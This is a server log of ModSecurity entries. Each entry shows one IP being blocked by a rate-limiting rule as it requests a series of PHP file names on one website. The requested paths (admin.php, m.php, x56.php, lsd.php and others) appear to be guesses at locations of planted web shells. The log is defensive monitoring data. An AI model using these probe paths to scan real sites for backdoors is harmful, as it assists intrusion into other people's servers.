[Fri Feb 27 21:38:16.409083 2026] [:error] [pid 54231:tid 54244] [client 20.104.124.39:32505] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aaGeSOTvb5AeyJCdY7AlxAAAAEo"]
[Fri Feb 27 21:38:17.128035 2026] [:error] [pid 54101:tid 54115] [client 20.104.124.39:32466] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaGeSVY5qgRktcYTGFtPPwAAAcc"]
[Fri Feb 27 21:38:17.777774 2026] [:error] [pid 62998:tid 63005] [client 20.104.124.39:32460] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaGeSVQeueXZDUmoLolhfgAAAQM"]
[Fri Feb 27 21:38:18.756409 2026] [:error] [pid 52073:tid 52086] [client 20.104.124.39:32501] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aaGeSoa650YPyxXVeRZ9wAAAAYo"]
[Fri Feb 27 21:38:19.457027 2026] [:error] [pid 54101:tid 54109] [client 20.104.124.39:32440] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/randkeyword.php"] [unique_id "aaGeS1Y5qgRktcYTGFtPRgAAAcE"]
[Fri Feb 27 21:38:20.290925 2026] [:error] [pid 54102:tid 54144] [client 20.104.124.39:32461] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/randkeyword.php"] [unique_id "aaGeTHi74D4fiYUm_Gd_lQAAAIA"]
[Fri Feb 27 21:38:22.305478 2026] [:error] [pid 52073:tid 52095] [client 20.104.124.39:32472] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/randkeyword.php"] [unique_id "aaGeToa650YPyxXVeRZ93AAAAZM"]
[Fri Feb 27 21:38:23.303866 2026] [:error] [pid 49306:tid 49318] [client 20.104.124.39:32483] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/randkeyword.php"] [unique_id "aaGeT_nSUDZue59Px9s2SgAAAUo"]
[Fri Feb 27 21:38:24.543376 2026] [:error] [pid 49306:tid 49330] [client 20.104.124.39:32390] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fwe.php"] [unique_id "aaGeUPnSUDZue59Px9s2XgAAAVY"]
[Fri Feb 27 21:38:26.274917 2026] [:error] [pid 49306:tid 49331] [client 20.104.124.39:32404] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fwe.php"] [unique_id "aaGeUvnSUDZue59Px9s2eAAAAVc"]
[Fri Feb 27 21:38:27.167175 2026] [:error] [pid 49306:tid 49330] [client 20.104.124.39:32473] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fwe.php"] [unique_id "aaGeU_nSUDZue59Px9s2lAAAAVY"]
[Fri Feb 27 21:38:27.826122 2026] [:error] [pid 49306:tid 49309] [client 20.104.124.39:32484] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fwe.php"] [unique_id "aaGeU_nSUDZue59Px9s2pQAAAUE"]
[Fri Feb 27 21:38:29.172872 2026] [:error] [pid 52073:tid 52079] [client 20.104.124.39:32493] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aaGeVYa650YPyxXVeRZ-cAAAAYM"]
[Fri Feb 27 21:38:30.000753 2026] [:error] [pid 62998:tid 63011] [client 20.104.124.39:32510] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aaGeVVQeueXZDUmoLolh7QAAAQk"]
[Fri Feb 27 21:38:30.788846 2026] [:error] [pid 56075:tid 56088] [client 20.104.124.39:32490] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aaGeVsKBhrfI6KNv9RjzlAAAAAs"]
[Fri Feb 27 21:38:32.142543 2026] [:error] [pid 52073:tid 52098] [client 20.104.124.39:32400] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aaGeWIa650YPyxXVeRZ-nQAAAZY"]
[Fri Feb 27 21:38:35.342970 2026] [:error] [pid 49306:tid 49327] [client 20.104.124.39:32457] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aaGeW_nSUDZue59Px9s22QAAAVM"]
[Fri Feb 27 21:38:36.033663 2026] [:error] [pid 56075:tid 56095] [client 20.104.124.39:32405] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aaGeXMKBhrfI6KNv9Rj0DAAAABE"]
[Fri Feb 27 21:38:36.686731 2026] [:error] [pid 56075:tid 56088] [client 20.104.124.39:32462] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aaGeXMKBhrfI6KNv9Rj0HQAAAAs"]
[Fri Feb 27 21:38:37.789684 2026] [:error] [pid 54231:tid 54250] [client 20.104.124.39:32398] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aaGeXeTvb5AeyJCdY7AmAwAAAFA"]
[Fri Feb 27 21:38:39.138736 2026] [:error] [pid 56075:tid 56101] [client 20.104.124.39:32410] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aaGeX8KBhrfI6KNv9Rj0TwAAABc"]
[Fri Feb 27 21:38:39.884321 2026] [:error] [pid 54103:tid 54176] [client 20.104.124.39:32384] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aaGeX-vG4MPCmE0B2sC2dwAAAMU"]
[Fri Feb 27 21:38:40.962379 2026] [:error] [pid 54231:tid 54246] [client 20.104.124.39:32391] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aaGeYOTvb5AeyJCdY7AmHwAAAEw"]
[Fri Feb 27 21:38:41.924063 2026] [:error] [pid 56075:tid 56086] [client 20.104.124.39:32393] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aaGeYcKBhrfI6KNv9Rj0jAAAAAk"]
[Fri Feb 27 21:38:43.039757 2026] [:error] [pid 52073:tid 52093] [client 20.104.124.39:32489] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aaGeY4a650YPyxXVeRZ_EgAAAZE"]
[Fri Feb 27 21:38:44.301056 2026] [:error] [pid 52073:tid 52079] [client 20.104.124.39:32392] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aaGeZIa650YPyxXVeRZ_GQAAAYM"]
[Fri Feb 27 21:38:45.152093 2026] [:error] [pid 52073:tid 52084] [client 20.104.124.39:32396] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aaGeZYa650YPyxXVeRZ_JgAAAYg"]
[Fri Feb 27 21:38:45.848379 2026] [:error] [pid 54103:tid 54191] [client 20.104.124.39:32399] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xv.php"] [unique_id "aaGeZevG4MPCmE0B2sC2ggAAANQ"]
[Fri Feb 27 21:38:46.850580 2026] [:error] [pid 49306:tid 49331] [client 20.104.124.39:32431] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaGeZvnSUDZue59Px9s3KgAAAVc"]
[Fri Feb 27 21:38:48.204226 2026] [:error] [pid 56075:tid 56083] [client 20.104.124.39:32406] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaGeaMKBhrfI6KNv9Rj1CAAAAAY"]
[Fri Feb 27 21:38:49.436495 2026] [:error] [pid 56075:tid 56087] [client 20.104.124.39:32499] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaGeacKBhrfI6KNv9Rj1MQAAAAo"]
[Fri Feb 27 21:38:50.092108 2026] [:error] [pid 54103:tid 54182] [client 20.104.124.39:32476] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaGeauvG4MPCmE0B2sC2iAAAAMs"]
[Fri Feb 27 21:38:50.716065 2026] [:error] [pid 52073:tid 52100] [client 20.104.124.39:32498] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaGeaoa650YPyxXVeRZ_VwAAAZg"]
[Fri Feb 27 21:38:52.421835 2026] [:error] [pid 56075:tid 56095] [client 20.104.124.39:32439] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaGebMKBhrfI6KNv9Rj1iQAAABE"]
[Fri Feb 27 21:38:54.248792 2026] [:error] [pid 56075:tid 56098] [client 20.104.124.39:32421] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaGebsKBhrfI6KNv9Rj1tAAAABQ"]
[Fri Feb 27 21:38:55.911407 2026] [:error] [pid 62998:tid 63023] [client 20.104.124.39:32453] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aaGeb1QeueXZDUmoLolirQAAARU"]
[Fri Feb 27 21:38:56.587865 2026] [:error] [pid 56075:tid 56087] [client 20.104.124.39:32486] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaGecMKBhrfI6KNv9Rj15QAAAAo"]
[Fri Feb 27 21:38:57.431325 2026] [:error] [pid 56075:tid 56085] [client 20.104.124.39:32491] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaGeccKBhrfI6KNv9Rj1_QAAAAg"]
[Fri Feb 27 21:38:58.108433 2026] [:error] [pid 56075:tid 56077] [client 20.104.124.39:32409] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaGecsKBhrfI6KNv9Rj2EAAAAAA"]
[Fri Feb 27 21:38:58.908179 2026] [:error] [pid 54103:tid 54188] [client 20.104.124.39:32452] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aaGecuvG4MPCmE0B2sC2kwAAANE"]
[Fri Feb 27 21:38:59.690670 2026] [:error] [pid 62998:tid 63014] [client 20.104.124.39:32445] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aaGec1QeueXZDUmoLoliwgAAAQw"]
[Fri Feb 27 21:39:00.161147 2026] [:error] [pid 62998:tid 63008] [client 20.104.124.39:32325] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aaGedFQeueXZDUmoLoliygAAAQY"]
[Fri Feb 27 21:39:00.841152 2026] [:error] [pid 56075:tid 56091] [client 20.104.124.39:32449] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aaGedMKBhrfI6KNv9Rj2QwAAAA0"]
[Fri Feb 27 21:39:01.687019 2026] [:error] [pid 56075:tid 56082] [client 20.104.124.39:32450] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aaGedcKBhrfI6KNv9Rj2UgAAAAU"]
[Fri Feb 27 21:39:02.481903 2026] [:error] [pid 56075:tid 56084] [client 20.104.124.39:32401] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaGedsKBhrfI6KNv9Rj2XgAAAAc"]
[Fri Feb 27 21:39:03.775764 2026] [:error] [pid 54231:tid 54249] [client 20.104.124.39:32455] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaGed-Tvb5AeyJCdY7AmzgAAAE8"]
[Fri Feb 27 21:39:04.889716 2026] [:error] [pid 52073:tid 52087] [client 20.104.124.39:32413] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaGeeIa650YPyxXVeRZ_ywAAAYs"]
[Fri Feb 27 21:39:06.467358 2026] [:error] [pid 56075:tid 56085] [client 20.104.124.39:32443] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aaGeesKBhrfI6KNv9Rj2fwAAAAg"]
[Fri Feb 27 21:39:07.861931 2026] [:error] [pid 54103:tid 54181] [client 20.104.124.39:32487] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaGee-vG4MPCmE0B2sC2rAAAAMo"]
[Fri Feb 27 21:39:13.035277 2026] [:error] [pid 54231:tid 54250] [client 20.104.124.39:32471] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaGegeTvb5AeyJCdY7AnDgAAAFA"]
[Fri Feb 27 21:39:14.588049 2026] [:error] [pid 56075:tid 56086] [client 20.104.124.39:32469] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaGegsKBhrfI6KNv9Rj2ugAAAAk"]
[Fri Feb 27 21:39:15.639977 2026] [:error] [pid 49306:tid 49325] [client 20.104.124.39:32503] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaGeg_nSUDZue59Px9s4JAAAAVE"]
[Fri Feb 27 21:39:16.650842 2026] [:error] [pid 62998:tid 63008] [client 20.104.124.39:32459] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaGehFQeueXZDUmoLoli7wAAAQY"]
[Fri Feb 27 21:39:17.371400 2026] [:error] [pid 52073:tid 52090] [client 20.104.124.39:32397] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaGehYa650YPyxXVeRaA3wAAAY4"]
[Fri Feb 27 21:39:18.203458 2026] [:error] [pid 52073:tid 52082] [client 20.104.124.39:32438] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaGehoa650YPyxXVeRaA7gAAAYY"]
[Fri Feb 27 21:39:18.897980 2026] [:error] [pid 56075:tid 56100] [client 20.104.124.39:32465] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaGehsKBhrfI6KNv9Rj2_QAAABY"]
